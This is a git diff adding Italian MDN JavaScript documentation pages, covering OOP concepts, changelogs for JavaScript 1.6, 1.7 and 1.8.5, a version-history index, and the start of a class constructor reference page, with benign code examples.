+    <span class="keyword token">this</span><span class="punctuation token">.</span>firstName <span class="operator token">=</span> firstName<span class="punctuation token">;</span>
+  <span class="punctuation token">}</span> <span class="keyword token">else</span> <span class="punctuation token">{</span>
+    <span class="keyword token">return</span> <span class="keyword token">new</span> <span class="class-name token">Person</span><span class="punctuation token">(</span>firstName<span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+<span class="punctuation token">}</span></code></pre>
+
+<h4 id="Incapsulamento">Incapsulamento</h4>
+
+<p>Nell'esempio precedente <code>Student</code> non ha bisogno di sapere come sia realizzato il metodo <code>walk()</code> della classe <code>Person</code>, ma può comunque utilizzarlo; la classe <code>Student</code> non ha bisogno di definire in modo esplicito questo metodo se non vogliamo cambiarlo. Questo è chiamato <strong>incapsulamento</strong>, per cui ogni classe impacchetta dati e metodi in una singola unità.</p>
+
+<p>Il nascondere informazioni (information hiding) è una caratteristica comune ad altre linguaggi, spesso in forma di  metodi / proprietà private e protette. Anche se si potrebbe simulare qualcosa di simile in JavaScript, questo non è un requisito per fare programmazione Object Oriented.<a href="https://developer.mozilla.org/it/docs/Web/JavaScript/Introduzione_al_carattere_Object-Oriented_di_JavaScript$edit#cite-2"><sup>2</sup></a></p>
+
+<h4 id="Astrazione">Astrazione</h4>
+
+<p>L'astrazione è un meccanismo che permette di modellare la parte corrente del problema, sia con eredità (specializzazione) o la composizione. JavaScript ottiene la specializzazione per eredità, e la composizione permettendo che istanze di classe siano valori di attributi di altri oggetti.</p>
+
+<p>La classe Function di Javascript eredita dalla classe Object (questo dimostra la specializzazione del modello) e la proprietà Function.prototype è un'istanza di oggetto (ciò dimostra la composizione).</p>
+
+<p>The JavaScript Function class inherits from the Object class (this demonstrates specialization of the model) and the Function.prototype property is an instance of Object (this demonstrates composition).</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> foo <span class="operator token">=</span> <span class="keyword token">function</span> <span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span><span class="punctuation token">}</span><span class="punctuation token">;</span>
+
+<span class="comment token">// logs "foo is a Function: true"</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">'foo is a Function: '</span> <span class="operator token">+</span> <span class="punctuation token">(</span>foo <span class="keyword token">instanceof</span> <span class="class-name token">Function</span><span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="comment token">// logs "foo.prototype is an Object: true"</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">'foo.prototype is an Object: '</span> <span class="operator token">+</span> <span class="punctuation token">(</span>foo<span class="punctuation token">.</span>prototype <span class="keyword token">instanceof</span> <span class="class-name token">Object</span><span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<h4 id="Polimorfismo">Polimorfismo</h4>
+
+<p>Così come tutti i metodi e le proprietà sono definite all'interno della proprietà prototype, classi diverse possono definire metodi con lo stesso nome; i metodi sono nell'ambito della classe in cui sono definiti, a meno che le due classi siano in un rapporto padre-figlio (cioè una eredita dall'altra in una catena di ereditarietà).</p>
+
+
+
+<h2 id="Notes" name="Notes">Note</h2>
+
+<p>Le tecniche presentate in questo articolo per attuare la programmazione orientata agli oggetti non sono le uniche che possono essere utilizzate in JavaScript, che è molto flessibile in termini di come la programmazione orientata agli oggetti possa essere eseguita.</p>
+
+<p>Allo stesso modo, le tecniche qui indicate non usano alcuna violazione di linguaggio, né imitano implementazioni di teorie di oggetti di altri linguaggi.</p>
+
+<p>Ci sono altre tecniche che rendono la programmazione orientata agli oggetti in JavaScript ancora più avanzata, ma sono oltre la portata di questo articolo introduttivo.</p>
+
+<h2 id="References" name="References">Riferimenti</h2>
+
+<ol>
+ <li>{{ Ref() }} Mozilla. "Core JavaScript 1.5 Guide", http://developer.mozilla.org/en/docs/Core_JavaScript_1.5_Guide</li>
+ <li>{{ Ref() }} wikipedia. "Object-oriented programming", <a class="external" href="http://en.wikipedia.org/wiki/Object-oriented_programming" rel="freelink">http://en.wikipedia.org/wiki/Object-...ed_programming</a></li>
+</ol>
+
+<div class="originaldocinfo">
+<p><strong>Original Document Information</strong></p>
+
+<ul>
+ <li>Author(s): Fernando Trasviña &lt;f_trasvina at hotmail dot com&gt;</li>
+ <li>Copyright Information: © 1998-2005 by individual mozilla.org contributors; content available under a <a class="external" href="http://www.mozilla.org/foundation/licensing/website-content.html">Creative Commons license</a></li>
+</ul>
+</div>
+
+<p>{{ languages( { "es": "es/Introducción_a_JavaScript_orientado_a_objetos"} ) }}</p>
diff --git a/files/it/web/javascript/new_in_javascript/1.8.5/index.html b/files/it/web/javascript/new_in_javascript/1.8.5/index.html
new file mode 100644
index 0000000000..8bc70d9638
--- /dev/null
+++ b/files/it/web/javascript/new_in_javascript/1.8.5/index.html
@@ -0,0 +1,123 @@
+---
+title: Novità in JavaScript 1.8.5
+slug: Web/JavaScript/New_in_JavaScript/1.8.5
+translation_of: Archive/Web/JavaScript/New_in_JavaScript/1.8.5
+---
+<div>{{jsSidebar("New_in_JS")}}</div>
+
+<p>The following is a changelog for JavaScript 1.8.5. This version was included in <a href="/en-US/Firefox/Releases/4">Firefox 4</a>.</p>
+
+<h2 id="Nuove_funzionalità_in_JavaScript_1.8.5">Nuove funzionalità in JavaScript 1.8.5</h2>
+
+<h3 id="Nuove_funzioni">Nuove funzioni</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Funzioni</th>
+   <th scope="col">Descrizione</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{jsxref("Object.create()")}}</td>
+   <td>Crea un nuovo oggetto con l'oggetto prototipo specificato e le proprietà. {{bug("492840")}}</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Object.defineProperty()")}}</td>
+   <td>Aggiunge la proprietà denominata descritta da un determinato descrittore a un oggetto.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Object.defineProperties()")}}</td>
+   <td>Aggiunge le proprietà nominate descritte dai descrittori dati ad un oggetto.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Object.getOwnPropertyDescriptor()")}}</td>
+   <td>Restituisce un descrittore di proprietà per una proprietà denominata su un oggetto. {{bug("505587")}}</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Object.keys()")}}</td>
+   <td>Restituisce una matrice di tutte le proprietà enumerabili su un oggetto. {{bug("307791")}}</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Object.getOwnPropertyNames()")}}</td>
+   <td>Restituisce una matrice di tutte le proprietà enumerabili e non enumerabili su un oggetto. {{bug("518663")}}</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Object.preventExtensions()")}}</td>
+   <td>Impedisce qualsiasi estensione di un oggetto. {{bug("492849")}}</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Object.isExtensible()")}}</td>
+   <td>Determina se l'estensione di un oggetto è consentita. {{bug("492849")}}</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Object.seal()")}}</td>
+   <td>Impedisce l'altro codice dall'eliminazione delle proprietà di un oggetto. {{bug("492845")}}</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Object.isSealed()")}}</td>
+   <td>Determina se un oggetto è sigillato. {{bug("492845")}}</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Object.freeze()")}}</td>
+   <td>Blocca un oggetto: l'altro codice non può eliminare o modificare alcuna proprietà. {{bug("492844")}}</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Object.isFrozen()")}}</td>
+   <td>Determina se un oggetto è stato congelato. {{bug("492844")}}</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Array.isArray()")}}</td>
+   <td>Controlla se una variabile è un array. {{bug("510537")}}</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Date.prototype.toJSON()")}}</td>
+   <td>Restituisce una stringa di formato JSON per un oggetto <code>Date</code>.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Function.prototype.bind()")}}</td>
+   <td>Crea una nuova funzione che, quando chiamata, chiama questa funzione nel contesto fornito (con una determinata sequenza di argomenti) {{bug("429507")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Nuove_funzionalità_ECMAScript5">Nuove funzionalità ECMAScript5</h3>
+
+<ul>
+ <li>operatore <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/get" title="JavaScript/Reference/Operators/Special Operators/get Operator">get</a></code> e <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/set" title="JavaScript/Reference/Operators/Special Operators/set Operator">set</a></code> ora consente all'identificatore di essere numerico o una stringa. {{Bug ( "520696")}}<br>
+  . {{bug("520696")}}</li>
+ <li>{{jsxref("Function.apply()")}} può accettare qualsiasi oggetto di tipo array come elenco di argomenti, invece di solo true arrays.</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/Strict_mode" title="JavaScript/Strict mode">strict mode support</a></li>
+ <li>{{jsxref("Array.toString()")}} ora funziona anche su non-array restituendo il risultato della chiamata al metodo <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/join" title="JavaScript/Reference/Global Objects/Array/join"><code>join()</code></a> se disponibile o chiamando il suo metodo <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/toString" title="JavaScript/Reference/Global Objects/Object/toString"><code>toString()</code></a>.</li>
+</ul>
+
+<h3 id="Altri_lavori_di_standardizzazione">Altri lavori di standardizzazione</h3>
+
+<p>Varie sintassi non standard per la definizione di getter e setter sono state rimosse; La sintassi definita da ECMAScript 5 non è stata modificata. Erano tutti piuttosto esoterici e raramente usati; se questo ti colpisce, vedi questo post sul <a class="external" href="http://whereswalden.com/2010/04/16/more-spidermonkey-changes-ancient-esoteric-very-rarely-used-syntax-for-creating-getters-and-setters-is-being-removed/" title="http://whereswalden.com/2010/04/16/more-spidermonkey-changes-ancient-esoteric-very-rarely-used-syntax-for-creating-getters-and-setters-is-being-removed/">blog</a> per i dettagli.</p>
+
+<h3 id="Nuovi_oggetti">Nuovi oggetti</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Oggetti</th>
+   <th scope="col">Descrizione</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="/en-US/docs/Archive/Web/Old_Proxy_API">Old Proxy API</a></td>
+   <td>Offre supporto per la creazione di proxy Object e Function che abilitano la meta-programmazione in JavaScript.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Funzionalità_modificata_in_JavaScript_1.8.5">Funzionalità modificata in JavaScript 1.8.5</h2>
+
+<ul>
+ <li>Supporto ISO 8601 in <code>Date</code>: il metodo {{jsxref("Date")}} dell'oggetto <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/parse" title="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/Date/parse">parse()</a> ora supporta semplici stringhe ISO 8601 format date strings</li>
+ <li>Oggetti globali resi di sola lettura: gli oggetti globali <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN" title="JavaScript/Reference/Global Objects/NaN"><code>NaN</code></a>, <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Infinity" title="JavaScript/Reference/Global Objects/Infinity"><code>Infinity</code></a> e <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/undefined" title="JavaScript/Reference/Global Objects/undefined"><code>undefined</code></a> sono in sola lettura, secondo le specifiche ECMAScript 5.</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/Parent" title="JavaScript/Reference/Global Objects/Object/Parent"><code>obj.__parent__</code></a> and <code>obj.__count__</code> become obsolete. Some information about why: <a class="external" href="http://whereswalden.com/2010/05/07/spidermonkey-change-du-jour-the-special-__parent__-property-has-been-removed/" title="http://whereswalden.com/2010/05/07/spidermonkey-change-du-jour-the-special-__parent__-property-has-been-removed/">SpiderMonkey cambia du jour: la proprietà speciale __parent__ property</a> è stata rimossa {{bug("551529")}} &amp; {{bug("552560")}}.</li>
+ <li>Le virgole finali non sono più accettate in {{jsxref("JSON.parse()")}}.</li>
+</ul>
diff --git a/files/it/web/javascript/new_in_javascript/index.html b/files/it/web/javascript/new_in_javascript/index.html
new file mode 100644
index 0000000000..98a8e27ddb
--- /dev/null
+++ b/files/it/web/javascript/new_in_javascript/index.html
@@ -0,0 +1,80 @@
+---
+title: New in JavaScript
+slug: Web/JavaScript/New_in_JavaScript
+tags:
+  - NeedsTranslation
+  - TopicStub
+translation_of: Archive/Web/JavaScript/New_in_JavaScript
+---
+<div>{{jsSidebar("New_in_JS")}}</div>
+
+<p>This chapter contains information about JavaScript's version history and implementation status for Mozilla/SpiderMonkey-based JavaScript applications, such as Firefox.</p>
+
+<h2 id="ECMAScript_versions">ECMAScript versions</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/JavaScript/Language_Resources">Language resources</a></dt>
+ <dd>Learn more about the ECMAScript standards on which the JavaScript language is based on.</dd>
+ <dt><a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_5_support_in_Mozilla">ECMAScript 5 support</a></dt>
+ <dd>Implementation status for the current standard ECMA-262 Edition 5.1 in Mozilla-based engines and products.</dd>
+ <dt><a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_6_support_in_Mozilla">ECMAScript 6 support</a></dt>
+ <dd>Implementation status for the draft ECMA-262 Edition 6 in Mozilla-based engines and products.</dd>
+ <dt><a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_7_support_in_Mozilla">ECMAScript 7 support</a></dt>
+ <dd>Implementation status for the upcoming ECMA-262 Edition 7 in Mozilla-based engines and products.</dd>
+</dl>
+
+<h2 id="JavaScript_release_notes">JavaScript release notes</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/Firefox_JavaScript_changelog">Firefox JavaScript changelog</a></dt>
+ <dd>See this changelog for JavaScript features implemented in Firefox 5 and later.</dd>
+ <dt>Chrome JavaScript changelog</dt>
+ <dd>(TODO). See this changelog for JavaScript features implemented in Chrome releases.</dd>
+</dl>
+
+<h2 id="JavaScript_versions">JavaScript versions</h2>
+
+<p><strong>Deprecated</strong> ({{deprecated_inline()}}). The explicit versioning and opt-in of language features was Mozilla-specific and <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=867609">is in process of being removed</a>. Firefox 4 was the last version which referred to an JavaScript version (1.8.5). With new ECMA standards, JavaScript language features are now often mentioned with their initial definition in ECMA-262 Editions such as Edition 6 (ES6).</p>
+
+<p>JavaScript was released as version 1.0 in March 1996 in Netscape Navigator 2.0 and Internet Explorer 2.0.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/1.1">JavaScript 1.1</a></dt>
+ <dd>Version shipped in Netscape Navigator 3.0. Released on August 19, 1996.</dd>
+ <dt><a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/1.2">JavaScript 1.2</a></dt>
+ <dd>Version shipped in Netscape Navigator 4.0-4.05. Released on June 11, 1997.</dd>
+ <dt><a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/1.3">JavaScript 1.3</a></dt>
+ <dd>Version shipped in Netscape Navigator 4.06-4.7x. Released on October 19, 1998.<br>
+ Standardization work to be compliant with ECMA-262 1st and 2nd Edition.</dd>
+ <dt><a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/1.4">JavaScript 1.4</a></dt>
+ <dd>Version shipped in Netscape's server side JavaScript. Released in 1999.</dd>
+ <dt><a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/1.5">JavaScript 1.5</a></dt>
+ <dd>Version shipped in Netscape Navigator 6.0 and Firefox 1.0. Release on November 14, 2000.<br>
+ Standardization work to be compliant with ECMA-262 3rd Edition.</dd>
+ <dt><a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/1.6">JavaScript 1.6</a></dt>
+ <dd>Version shipped in Firefox 1.5. Released in November 2005.<br>
+ Includes ECMAScript for XML (E4X), new <code>Array</code> methods plus <code>String</code> and <code>Array</code> generics.</dd>
+ <dt><a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/1.7">JavaScript 1.7</a></dt>
+ <dd>Version shipped in Firefox 2. Released in October 2006.<br>
+ Includes generators, iterators, array comprehensions, <code>let</code> expressions, and destructuring assignment.</dd>
+ <dt><a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/1.8">JavaScript 1.8</a></dt>
+ <dd>Version shipped in Firefox 3. Released in June 2008.<br>
+ Includes expression closures, generator expressions and <code>Array.reduce()</code></dd>
+ <dt><a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/1.8.1">JavaScript 1.8.1</a></dt>
+ <dd>Version shipped in Firefox 3.5. Released on <span class="st">June 30, 2009.<br>
+ Includes the TraceMonkey JIT and supports native JSON.</span></dd>
+ <dt>JavaScript 1.8.2</dt>
+ <dd>Version shipped in Firefox 3.6. Released June 22, 2009.<br>
+ Includes only minor changes.</dd>
+ <dt><a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/1.8.5">JavaScript 1.8.5</a></dt>
+ <dd>Version shipped in Firefox 4. Released July 27, 2010.<br>
+ Includes many new features for ECMA-262 Edition 5 compliance.<br>
+ This is the last JavaScript version.</dd>
+</dl>
+
+<h2 id="Features_still_requiring_version_opt-in">Features still requiring version opt-in</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/JavaScript/Reference/Statements/let"><code>let</code> statement</a></dt>
+ <dd>The <code>let</code> statement requires the JavaScript version 1.7 (or higher) opt-in. See {{bug(932517)}} and {{bug(932513)}}.</dd>
+</dl>
diff --git a/files/it/web/javascript/new_in_javascript/novità_in_javascript_1.6/index.html b/files/it/web/javascript/new_in_javascript/novità_in_javascript_1.6/index.html
new file mode 100644
index 0000000000..07ac5d386c
--- /dev/null
+++ b/files/it/web/javascript/new_in_javascript/novità_in_javascript_1.6/index.html
@@ -0,0 +1,81 @@
+---
+title: Novità in JavaScript 1.6
+slug: Web/JavaScript/New_in_JavaScript/Novità_in_JavaScript_1.6
+tags:
+  - E4X
+  - JavaScript
+  - Tutte_le_categorie
+translation_of: Archive/Web/JavaScript/New_in_JavaScript/1.6
+---
+<div>{{jsSidebar("New_in_JS")}}</div>
+
+<p>JavaScript 1.6 introduce diverse nuove funzionalità: E4X, vari metodi per gli <code>Array</code> e i metodi generici per gli array e le stringhe.</p>
+
+<p>JavaScript 1.6 è supportato in <a href="it/Firefox_1.5">Firefox 1.5</a> e successivi.</p>
+
+<h3 id="E4X" name="E4X">E4X</h3>
+
+<p>ECMAScript for XML (<a href="it/E4X">E4X</a>) è una potente tecnologia che permette di creare ed elaborare contenuto <a href="it/XML">XML</a> tramite <a href="it/JavaScript">JavaScript</a>. Continueremo a migliorare il supporto a E4X, aggiungendo anche un'integrazione trasparente al <a href="it/DOM">DOM</a> già esistente, ma gli sviluppatori che stanno creando applicazioni web basate su XML possono beneficiare del supporto a E4X in Firefox 1.5.</p>
+
+<p>E' ancora possibile utilizzare il tipo MIME standard per E4X:</p>
+
+<pre>&lt;script type="text/javascript"&gt;
+</pre>
+
+<p>Tuttavia, la sintassi di E4X può entrare in conflitto con la pratica molto comune di inserire gli script nei commenti <a href="it/HTML">HTML</a> (<code><span class="nowiki">&lt;!--...--&gt;</span></code>) per nasconderli ai vecchi browser. E4X può anche entrare in conflitto con le sezioni CDATA (<code>&lt;![CDATA{{ mediawiki.external('...') }}]&gt;</code>), che permettono l'uso di simboli "&lt;" e "&gt;" in uno script (si noti che questo non si applica all'HTML). Se si incontrano errori apparentemente inspiegabili, si provi ad aggiungere "; e4x=1" al tipo MIME:</p>
+
+<pre>&lt;script type="text/javascript; e4x=1"&gt;
+</pre>
+
+<p>Si noti che gli script nelle estensioni trattano sempre i commenti HTML nella maniera corretta. In pratica, "e4x=1" è implicito.</p>
+
+<h3 id="Aggiunte_agli_array" name="Aggiunte_agli_array">Aggiunte agli array</h3>
+
+<p>Vi sono sette nuovi metodi per gli array che possono essere divisi in due categorie, metodi di locazione di un elemento e metodi iterativi. I metodi di locazione sono:</p>
+
+<ul>
+ <li><code>indexOf()</code> - restituisce l'indice della prima occorrenza dell'elemento dato.</li>
+ <li><code>lastIndexOf|lastIndexOf()</code> - restituisce l'indice dell'ultima occorrenza dell'elemento dato.</li>
+</ul>
+
+<p>I metodi iterativi sono:</p>
+
+<ul>
+ <li><code>every()</code> - esegue una funzione per ogni elemento presente nell'array e restituisce <code>true</code> se la funzione restituisce <code>true</code> per tutti gli elementi.</li>
+ <li><code>filter()</code> - esegue una funzione per ogni elemento presente nell'array e restituisce un array di tutti gli elementi per i quali la funzione ha restituito <code>true</code>.</li>
+ <li><code>forEach()</code> - esegue una funzione per ogni elemento presente nell'array.</li>
+ <li><code>map()</code> - esegue una funzione per ogni elemento presente nell'array e restituisce i risultati in un altro array.</li>
+ <li><code>some()</code> - esegue una funzione per ogni elemento presente nell'array e restituisce <code>true</code> se la funzione restituisce <code>true</code> per almeno uno degli elementi.</li>
+</ul>
+
+<p>Per ulteriori informazioni, si veda l'articolo (in inglese) di Nicholas C. Zakas: <span class="exlink"><a href="it/Mozilla's_New_Array_Methods_(external)">Mozilla's New Array Methods</a></span>.</p>
+
+<h3 id="Metodi_generici_per_array_e_stringhe" name="Metodi_generici_per_array_e_stringhe">Metodi generici per array e stringhe</h3>
+
+<p>A volte si vorrebbe utilizzare i metodi per gli array con le stringhe. Facendo questo, si tratta una stringa come se fosse un array di caratteri. Per esempio, per controllare che ogni carattere nella variabile <var>str</var> sia una lettera, si potrebbe scrivere:</p>
+
+<pre>function isLetter(character) {
+  return (character &gt;= "a" &amp;&amp; character &lt;= "z");
+}
+
+if (Array.prototype.every.call(str, isLetter))
+  alert("La stringa '" + str + "' contiene solo lettere!");
+</pre>
+
+<p>Questa notazione è piuttosto lunga e JavaScript 1.6 introduce una scorciatoia:</p>
+
+<pre>if (Array.every(str, isLetter))
+  alert("La stringa '" + str + "' contiene solo lettere!");
+</pre>
+
+<p>Similmente, si può facilmente applicare un metodo stringa a qualsiasi oggetto:</p>
+
+<pre>var num = 15;
+alert(String.replace(num, /5/, '2'));
+</pre>
+
+<h3 id="Vedi_anche" name="Vedi_anche">Vedi anche</h3>
+
+<p><a href="it/Novit%c3%a0_in_JavaScript_1.7">Novità in JavaScript 1.7</a> introdotte in <a href="it/Firefox_2">Firefox 2</a>.</p>
+
+<p>{{ languages( { "en": "en/New_in_JavaScript_1.6", "fr": "fr/Nouveaut\u00e9s_dans_JavaScript_1.6", "ja": "ja/New_in_JavaScript_1.6", "pl": "pl/Nowo\u015bci_w_JavaScript_1.6", "ru": "ru/\u041d\u043e\u0432\u043e\u0435_\u0432_JavaScript_1.6" } ) }}</p>
diff --git a/files/it/web/javascript/new_in_javascript/novità_in_javascript_1.7/index.html b/files/it/web/javascript/new_in_javascript/novità_in_javascript_1.7/index.html
new file mode 100644
index 0000000000..8b8cb7b5bf
--- /dev/null
+++ b/files/it/web/javascript/new_in_javascript/novità_in_javascript_1.7/index.html
@@ -0,0 +1,79 @@
+---
+title: Novità in JavaScript 1.7
+slug: Web/JavaScript/New_in_JavaScript/Novità_in_JavaScript_1.7
+tags:
+  - JavaScript
+  - Tutte_le_categorie
+translation_of: Archive/Web/JavaScript/New_in_JavaScript/1.7
+---
+<p>{{jsSidebar("New_in_JS")}}JavaScript 1.7 è un aggiornamento del linguaggio che include diverse nuove funzionalità, in particolare i generatori, gli iteratori, novità per gli array, le espressioni <code>let</code> e l'assegnazione destrutturante. Inoltre include tutte le funzionalità di <a href="it/Novit%c3%a0_in_JavaScript_1.6">JavaScript 1.6</a>.</p>
+
+<p>Il supporto a JavaScript 1.7 è disponibile a partire da <a href="it/Firefox_2">Firefox 2</a> Beta 1.</p>
+
+<p>Gli esempi di codice riportati in questo articolo possono essere sperimentati con la shell di JavaScript. Si veda <a href="it/Introduzione_alla_shell_di_JavaScript">Introduzione alla shell di JavaScript</a>.</p>
+
+<h2 id="Usare_JavaScript_1.7" name="Usare_JavaScript_1.7">Usare JavaScript 1.7</h2>
+
+<p>Per poter usare alcune delle nuove funzionalità, occorre specificare che si intende usare JavaScript 1.7. Nel codice HTML o XUL, si inserisca:</p>
+
+<pre class="eval"> &lt;script type="application/javascript;version=1.7"/&gt;
+</pre>
+
+<p>Quando si utilizza la shell di JavaScript, occorre impostare la versione di JavaScript che si intende usare tramite la funzione <code>version()</code>:</p>
+
+<pre class="eval"> version(170);
+</pre>
+
+<p>Per usare le funzionalità che richiedono l'uso delle nuove parole chiave <code>yield</code> e <code>let</code> bisogna specificare che si sta usando la versione 1.7 perchè il codice scritto per le vecchie versioni potrebbe utilizzare quelle parole come nome di variabile o come nome di funzione. Le funzionalità che non richiedono l'utilizzo di nuove parole chiave (funzionalità riguardanti gli array e l'assegnamento destrutturante) possono essere usate senza specificare la versione di JavaScript.</p>
+
+<h2 id="Generatori_e_iteratori" name="Generatori_e_iteratori">Generatori e iteratori</h2>
+
+<p>Quando si sviluppa del codice che comprende un algoritmo iterativo (come l'iterazione su una lista o calcoli che si ripetono su un insieme di dati), vi sono spesso variabili di stato i cui valori devono essere mantenuti per tutta la durata del ciclo. Tradizionalmente, si utilizza una funzione di callback per ottenere i valori intermedi di un algoritmo iterativo.</p>
+
+<h3 id="Generatori" name="Generatori">Generatori</h3>
+
+<p>Si consideri il programma che calcola i numeri di Fibonacci:</p>
+
+<pre>function do_callback(num) {
+  document.write(num + "&lt;BR&gt;\n");
+}
+
+function fib() {
+  var i = 0, j = 1, n = 0;
+  while (n &lt; 10) {
+    do_callback(i);
+    var t = i;
+    i = j;
+    j += t;
+    n++;
+  }
+}
+
+fib();
+</pre>
+
+<p>Questo codice utilizza una routine di callback per effettuare operazioni ad ogni passo dell'iterazione. In questo caso, ogni numero di Fibonacci è semplicemente scritto sulla console.</p>
+
+<p>I generatori e gli iteratori lavorano insieme per fornire un metodo nuovo e migliore per fare questo. Vediamo come scrivere la stessa routine utilizzando un generatore:</p>
+
+<pre>function fib() {
+  var i = 0, j = 1;
+  while (true) {
+    yield i;
+    var t = i;
+    i = j;
+    j += t;
+  }
+}
+
+var g = fib();
+for (var i = 0; i &lt; 10; i++) {
+  document.write(g.next() + "&lt;BR&gt;\n");
+}
+</pre>
+
+<p>La funzione contenente la parola chiave <code>yield</code> è un generatore. Quando viene chiamata i suoi parametri formali sono legati agli argomenti attuali, ma il corpo non viene realmente eseguito. Invece, viene restituito un generatore-iteratore. Ogni chiamata al metodo <code>next()</code> del generatore-iteratore effettua un nuovo ciclo. Il valore di ogni ciclo è il valore specificato dalla parola chiave <code>yield</code>. Si può pensare a <code>yield</code> come alla versione per generatori-iteratori di <code>yield</code>. Ogni volta che si chiama <code>next()</code>, il codice del generatore riprende dall'istruzione che segue la parola chiave <code>yield</code>.</p>
+
+<p>Il ciclo di un generatore-iteratore si esegue quindi chiamando ripetutamente il suo metodo <code>next()</code>, associandolo alla condizione desiderata. In questo esempio, possiamo ottenere tutti i numeri di Fibonacci che vogliamo chiamando <code>g.next()</code> fino a quando abbiamo il numero di risultati che desideriamo.</p>
+
+<p>{{ languages( { "es": "es/New_in_JavaScript_1.7", "es": "es/Novedades_en_JavaScript_1.7", "fr": "fr/Nouveaut\u00e9s_dans_JavaScript_1.7", "ja": "ja/New_in_JavaScript_1.7", "pl": "pl/Nowo\u015bci_w_JavaScript_1.7" } ) }}</p>
diff --git a/files/it/web/javascript/reference/classes/costruttore/index.html b/files/it/web/javascript/reference/classes/costruttore/index.html
new file mode 100644
index 0000000000..afc6c44526
--- /dev/null
+++ b/files/it/web/javascript/reference/classes/costruttore/index.html
@@ -0,0 +1,161 @@
+---
+title: costruttore
+slug: Web/JavaScript/Reference/Classes/costruttore
+translation_of: Web/JavaScript/Reference/Classes/constructor
+---
+<div>{{jsSidebar("Classes")}}</div>
+
+<p>Il metodo <code>constructor</code> è un metodo speciale usato per la creazione e l'inizializzazione di un oggetto creato da  una <code>classe</code>.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">constructor([argomenti]) { ... }</pre>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>In una classe ci può essere un solo metodo con il nome "constructor". Se una classe contiene una o più occorrenze del metodo <code>constructor</code> viene sollevato un errore di tipo {{jsxref("SyntaxError")}}. </p>
+
+<p>Un costruttore può usare la keyword <code>super</code> per chiamare il costruttore di una classe genitore.</p>
+
+<p>Se non viene specificato un metodo <code>constructor</code>, verrà usato quello di default.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Usare_il_metodo_constructor">Usare il metodo <code>constructor</code></h3>
+
+<p>Questo pezzo di codice è stato preso da <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/classes-es6/index.html">classes sample</a> (<a href="https://googlechrome.github.io/samples/classes-es6/index.html">live demo</a>).</p>
+
+<pre class="brush: js">class Square extends Polygon {
+  constructor(length) {
+    // Chiama il costruttore della classe padre usando lo stesso valore length
+    // come altezza e come larghezza del Poligono
+    super(length, length);
+    // Nota: Nelle classi derivate, super() deve essere chiamato prima
+    // dell'utilizzo di 'this', altrimenti viene sollevato un reference error.
+    this.name = 'Square';
+  }
+
+  get area() {
+    return this.height * this.width;
+  }
+
+  set area(value) {
+    this.area = value;
+  }
+}</pre>
+
+<h3 id="Costruttori_predefinito">Costruttori predefinito</h3>
+
+<p>Se non viene specificato un metodo costruttore, verrà usato quello di default. Per le classi base il costruttore di default è:</p>
+
+<pre class="brush: js">constructor() {}
+</pre>
+
+<p>Per le classi derivate invece è:</p>
+
